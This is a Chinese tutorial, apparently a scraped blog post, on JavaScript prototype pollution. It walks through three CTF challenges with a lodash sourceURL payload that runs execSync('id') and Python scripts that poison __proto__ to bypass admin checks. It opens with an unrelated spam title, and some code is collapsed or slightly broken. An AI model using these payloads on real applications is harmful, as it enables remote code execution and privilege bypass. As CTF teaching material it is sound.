手機(jī)軟件卸載了怎么恢復(fù)合肥seo快排扣費(fèi)
想要很清楚了理解原型鏈污染我們首先必須要弄清楚原型鏈這個(gè)概念
可以看這篇文章:對(duì)象的繼承和原型鏈
目錄
prototype和__proto__分別是什么?
原型鏈繼承
原型鏈污染是什么
哪些情況下原型鏈會(huì)被污染?
例題1:Code-Breaking 2018 Thejs 分析
例題2:hackit-2018
?例題3:hackim-2019
prototype和__proto__分別是什么?
JavaScript中,我們?nèi)绻x一個(gè)類,需要以定義“構(gòu)造函數(shù)”的方式來定義:
function Foo() { //構(gòu)造函數(shù)this.bar = 1 //構(gòu)造函數(shù)的一個(gè)屬性
}
new Foo()
構(gòu)造函數(shù)一般函數(shù)名的首字母必須大寫,Foo函數(shù)就是一個(gè)構(gòu)造函數(shù),Foo
函數(shù)的內(nèi)容,就是Foo
類的構(gòu)造函數(shù),而this.bar
就是Foo
類的一個(gè)屬性。
為了簡(jiǎn)化編寫JavaScript代碼,ECMAScript 6后增加了
class
語法,但class
其實(shí)只是一個(gè)語法糖。
一個(gè)類必然有一些方法,類似屬性this.bar
,我們也可以將方法定義在構(gòu)造函數(shù)內(nèi)部:
function Foo() {this.bar = 1this.show = function() {console.log(this.bar)}
}
?
(new Foo()).show()
這里定義的show就是一個(gè)方法
但這樣寫有一個(gè)問題,就是每當(dāng)我們新建一個(gè)Foo對(duì)象時(shí),this.show = function...
就會(huì)執(zhí)行一次,問題的愿意就是因?yàn)?#xff1a;這個(gè)show
方法實(shí)際上是綁定在對(duì)象上的,而不是綁定在“類”中。
我們希望在創(chuàng)建類的時(shí)候只創(chuàng)建一次show
方法,這時(shí)候就則需要使用原型(prototype)了:
function Foo() {this.bar = 1
}
?
Foo.prototype.show = function show() {console.log(this.bar)
}
?
let foo = new Foo()
foo.show()
我們可以認(rèn)為原型prototype
是類Foo
的一個(gè)屬性,而所有用Foo
類實(shí)例化的對(duì)象,都將擁有這個(gè)屬性中的所有內(nèi)容,包括變量和方法。
我們可以通過Foo.prototype
來訪問Foo
類的原型,這里就又出現(xiàn)了一個(gè)問題:Foo
實(shí)例化出來的對(duì)象不能通過prototype訪問原型的。
這時(shí)候,就該__proto__
登場(chǎng)了。
一個(gè)Foo類實(shí)例化出來的foo對(duì)象,可以通過foo.__proto__
屬性來訪問Foo類的原型,也就是說:
foo.__proto__ == Foo.prototype
所以,總結(jié)一下:
-
prototype
是一個(gè)類的屬性,所有類對(duì)象在實(shí)例化的時(shí)候?qū)?huì)擁有prototype
中的屬性和方法 -
一個(gè)對(duì)象的
__proto__
屬性,指向這個(gè)對(duì)象所在的類的prototype
屬性
原型鏈繼承
所有類對(duì)象在實(shí)例化的時(shí)候?qū)?huì)擁有prototype
中的屬性和方法,這個(gè)特性被用來實(shí)現(xiàn)JavaScript中的繼承機(jī)制。
比如:
function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father() //Son繼承了 Father()let son = new Son() //son繼承l(wèi)Son的方法和屬性
console.log(`Name: ${son.first_name} ${son.last_name}`) //這里找到了Father中的這兩個(gè)屬性
總結(jié)一下,對(duì)于對(duì)象son,在調(diào)用son.last_name
的時(shí)候,實(shí)際上JavaScript引擎會(huì)進(jìn)行如下操作:
-
在對(duì)象son中尋找last_name
-
如果找不到,則在
son.__proto__
中尋找last_name -
如果仍然找不到,則繼續(xù)在
son.__proto__.__proto__
中尋找last_name -
依次尋找,直到找到
null
結(jié)束。比如,Object.prototype
的__proto__
就是null
JavaScript的這個(gè)查找的機(jī)制,被運(yùn)用在面向?qū)ο蟮睦^承中,被稱作prototype繼承鏈。
以上就是最基礎(chǔ)的JavaScript面向?qū)ο缶幊?#xff0c;我們并不深入研究更細(xì)節(jié)的內(nèi)容,只要牢記以下幾點(diǎn)即可:
-
每個(gè)構(gòu)造函數(shù)(constructor)都有一個(gè)原型對(duì)象(prototype)
-
對(duì)象的
__proto__
屬性,指向類的原型對(duì)象prototype
-
JavaScript使用prototype鏈實(shí)現(xiàn)繼承機(jī)制
原型鏈污染是什么
前面說到,foo.__proto__
指向的是Foo
類的prototype
。
那么,如果我們修改了foo.__proto__
中的值,是不是就可以修改Foo類呢?
做個(gè)簡(jiǎn)單的實(shí)驗(yàn):
let foo = { bar: 1 }
console.log(foo.bar);
//這里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//這里給Object.prototype創(chuàng)建了一個(gè)bar賦值為2
console.log(foo.bar);
//這里打印的foo.bar還是foo的bar
let zoo = {}
console.log(zoo.bar);
//這里因?yàn)閦oo沒有定義bar,
// 所以就會(huì)到Object.prototype去找bar,就會(huì)找到2
最后,雖然zoo是一個(gè)空對(duì)象{}
,但zoo.bar
的結(jié)果居然是2:?
原因也顯而易見:因?yàn)榍懊嫖覀冃薷牧薴oo的原型foo.__proto__.bar = 2
,而foo是一個(gè)Object類的實(shí)例,所以實(shí)際上是修改了Object這個(gè)類,給這個(gè)類增加了一個(gè)屬性bar,值為2。
后來,我們又用Object類創(chuàng)建了一個(gè)zoo對(duì)象let zoo = {}
,zoo對(duì)象自然也有一個(gè)bar屬性了。
那么,在一個(gè)應(yīng)用中,如果攻擊者控制并修改了一個(gè)對(duì)象的原型,那么將可以影響所有和這個(gè)對(duì)象來自同一個(gè)類、父祖類的對(duì)象。
這種攻擊方式就是原型鏈污染。
哪些情況下原型鏈會(huì)被污染?
在實(shí)際應(yīng)用中,哪些情況下可能存在原型鏈能被攻擊者修改的情況呢?
我們思考一下,哪些情況下我們可以設(shè)置__proto__
的值呢?
其實(shí)找找能夠控制數(shù)組(對(duì)象)的“鍵名”的操作即可:
-
對(duì)象merge(克隆)?
-
對(duì)象clone(其實(shí)內(nèi)核就是將待操作的對(duì)象 merge到一個(gè)空對(duì)象中)
以對(duì)象merge為例,我們想象一個(gè)簡(jiǎn)單的merge函數(shù):
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}
在合并的過程中,存在賦值的操作target[key] = source[key]
,那么,這個(gè)key如果是__proto__
,是不是就可以原型鏈污染呢?
我們用如下代碼實(shí)驗(yàn)一下:
function merge(target, source) { //接收兩個(gè)參數(shù)for (let key in source) { //判斷source是否有相應(yīng)的keyif (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]//把第二個(gè)參數(shù)中的key賦值給了第一個(gè)參數(shù)中的key}}
}
var x = {// name: 'oupeng',age: 18
}
var y = {// name: 'abc',age: 19,num: 100
}
merge(x, y);
console.log(x);
console.log(y);let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2對(duì)象對(duì)象里面有兩個(gè)參數(shù)
merge(o1, o2) //將o2里面的屬性,給o1
console.log(o1.a, o1.b)
//這里打印出來應(yīng)該是1,2
o3 = {}
console.log(o3.b)
結(jié)果是,合并雖然成功了,但原型鏈沒有被污染:?
這是因?yàn)?#xff0c;我們用JavaScript創(chuàng)建o2的過程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已經(jīng)代表o2的原型了,此時(shí)遍歷o2的所有鍵名,你拿到的是[a, b]
,__proto__
并不是一個(gè)key,自然也不會(huì)修改Object的原型。
那么,如何讓__proto__
被認(rèn)為是一個(gè)鍵名呢?
我們將代碼改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
//將json解析為js對(duì)象
merge(o1, o2)
console.log(o1.a, o1.b)
?
o3 = {}
console.log(o3.b)
可見,新建的o3對(duì)象,也存在b屬性,說明Object已經(jīng)被污染:?
這是因?yàn)?#xff0c;JSON解析的情況下,__proto__
會(huì)被認(rèn)為是一個(gè)真正的“鍵名”,而不代表“原型”,所以在遍歷o2的時(shí)候會(huì)存在這個(gè)鍵。
總結(jié):merge操作是最常見可能控制鍵名的操作,也最能被原型鏈攻擊,很多常見的庫(kù)都存在這個(gè)問題。
例題1:Code-Breaking 2018 Thejs 分析
后端主要代碼如下(完整代碼可參考這里)
lodash是為了彌補(bǔ)JavaScript原生函數(shù)功能不足而提供的一個(gè)輔助功能集,其中包含字符串、數(shù)組、對(duì)象等操作。這個(gè)Web應(yīng)用中,使用了lodash提供的兩個(gè)工具:
-
lodash.template
一個(gè)簡(jiǎn)單的模板引擎 -
lodash.merge
函數(shù)或?qū)ο蟮暮喜?/p>
其實(shí)整個(gè)應(yīng)用邏輯很簡(jiǎn)單,用戶提交的信息,用merge方法合并到session里,多次提交,session里最終保存你提交的所有信息。
而這里的lodash.merge
操作實(shí)際上就存在原型鏈污染漏洞。
在污染原型鏈后,我們相當(dāng)于可以給Object對(duì)象插入任意屬性,這個(gè)插入的屬性反應(yīng)在最后的lodash.template
中。
我們看到lodash.template
的代碼:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source)//這里的Function是構(gòu)造函數(shù) .apply(undefined, importsValues);
});
options是一個(gè)對(duì)象,sourceURL取到了其options.sourceURL
屬性。
這個(gè)sourceURL屬性原本是沒有賦值的,默認(rèn)取空字符串。
但因?yàn)樵玩溛廴?#xff0c;我們可以給所有Object對(duì)象中都插入一個(gè)sourceURL
屬性。
最后,這個(gè)sourceURL
被拼接進(jìn)new Function
的第二個(gè)參數(shù)中,造成任意代碼執(zhí)行漏洞。
我將帶有__proto__
的Payload以json的形式發(fā)送給后端,
因?yàn)閑xpress框架支持根據(jù)Content-Type來解析請(qǐng)求Body,這里給我們注入原型提供了很大方便:
具體過程:
代碼:這里
(1)我們首先在server.js目錄下新建一個(gè)re.js文件,將上面的代碼粘貼進(jìn)去
(2)然后我們進(jìn)入cmd命令行,cd到該文件所在路徑,使用node運(yùn)行文件
注:如果報(bào)錯(cuò),說沒有某個(gè)模塊,那么可以使用
npm install
npm install 模塊名
這兩條命令任意一條來安裝需要的模塊
(3)然后我們可以嘗試在網(wǎng)頁(yè)訪問:你的ip地址:3000
(4)然后我們使用Burpsuite抓包訪問該頁(yè)面
Payload:
{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}
注:這里的 delete Object.prototype[a];是為了在進(jìn)行了原型鏈污染后,刪除掉該變量,防止其他人訪問
例題2:hackit-2018
這里我使用的環(huán)境是window
(1)代碼
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
?
var matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}
?
function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}
?
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
?
app.get('/', (req, res) => {
?for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
?}res.render('index');
})
?
?
app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');} ? ?
}
)
?
?
app.post('/api', (req, res) => {var client = req.body;var winner = null;
?if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;//這里可以這樣傳入值: matrix[__proto__][__admintoken] = oupeng//注:傳值時(shí)一定要用json的格式去傳值for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}
?if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;}
?if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}
?if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}
?
})
app.listen(3000, () => {console.log('app listening on port 3000!')
})
分析代碼后,我們可以看到,這里的if方法為true時(shí),我們才可以正常的拿到falg,那么想要這if條件成立,需要滿足這個(gè)條件:user.admintoken的md5值與req.query.querytoken值必須保持一致
? if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');} ? ?
然后我們?cè)倏创a后發(fā)現(xiàn)全文沒有對(duì)user.admintoken進(jìn)行賦值,所以理論上這個(gè)值是不存在的,但是下面有一句話賦值語句:
matric[client.row][client.col] =client.data
由于client使我們可控的,然后data,row,col,都是我們post傳入的值,都是可控的,所以可以通過在這里傳入一個(gè)值,讓沒有值的user.admintoken,去原型鏈上尋找,就會(huì)找到我們給matric傳入的值,從而實(shí)現(xiàn)原型鏈污染
具體過程 :
(1)我們首先在Node.js目錄下新建一個(gè)re.js文件,將上面的代碼粘貼進(jìn)去
(2)然后我們進(jìn)入cmd命令行,cd到該文件所在路徑,使用node運(yùn)行文件
?
注:如果報(bào)錯(cuò),說沒有某個(gè)模塊,那么可以使用
npm install
npm install 模塊名
這兩條命令任意一條來安裝需要的模塊
(3)編寫Python代碼來實(shí)現(xiàn)POST請(qǐng)求
import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#這里是yps的參數(shù)md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型鏈
#這里的json.dump()是將數(shù)據(jù)轉(zhuǎn)換為js能夠解析的形式
res2=requests.get(url1)
print(res2.text)
?(4)運(yùn)行Python文件
?
可以看到成功的通過原型鏈污染,拿到了flag!
?例題3:hackim-2019
代碼:
'use strict';
?
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
?
?
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
?
function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
?
function clone(a) {return merge({}, a);
}
?
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
?
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
?
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
首先就是先看拿到值的條件:
? if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
這里需要admin.admin?== 1才能正常拿到?
通過分析以上代碼,我們可以發(fā)現(xiàn),上面的admin對(duì)象是一個(gè)空對(duì)象,沒有值。
function clone(a) {return merge({}, a);
}
這里我們可以使用merge給{}中提交一個(gè)key=__proto__,value=admin:1來進(jìn)行原型鏈污染,就可以讓admin通過原型鏈找到admin的值==1,來滿足if條件,拿到if后面的值,那邊我們就可以通過a,本題中傳給的a是body來進(jìn)行污染
具體過程
(1)首先和前面一樣新建一個(gè)名為re3.js文件
文件內(nèi)容就是前面的代碼
(2)然后我們進(jìn)入cmd命令行,cd到該文件所在路徑,使用node運(yùn)行文件
?
?注:如果在安裝包時(shí)有一個(gè)? ? "cookie-parser"包一個(gè)報(bào)錯(cuò),那么可以在node.js中的package.json中增加這樣一行:
"cookie-parser": "^1.4.6"
?
(3)編寫pythonPOST提交代碼
import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)
這里的res1會(huì)讓代碼中的body={"__proto__":{admin:1}}
然后代碼中的copybody = clone(body),會(huì)將body中的內(nèi)容克隆到 merge函數(shù)的空對(duì)象中,然后通過merge函數(shù)就會(huì)污染原型鏈,后面的res2就可以通過原型鏈拿到flag
(4)運(yùn)行python代碼
?
通過結(jié)果可以看到,成功的拿到了flag!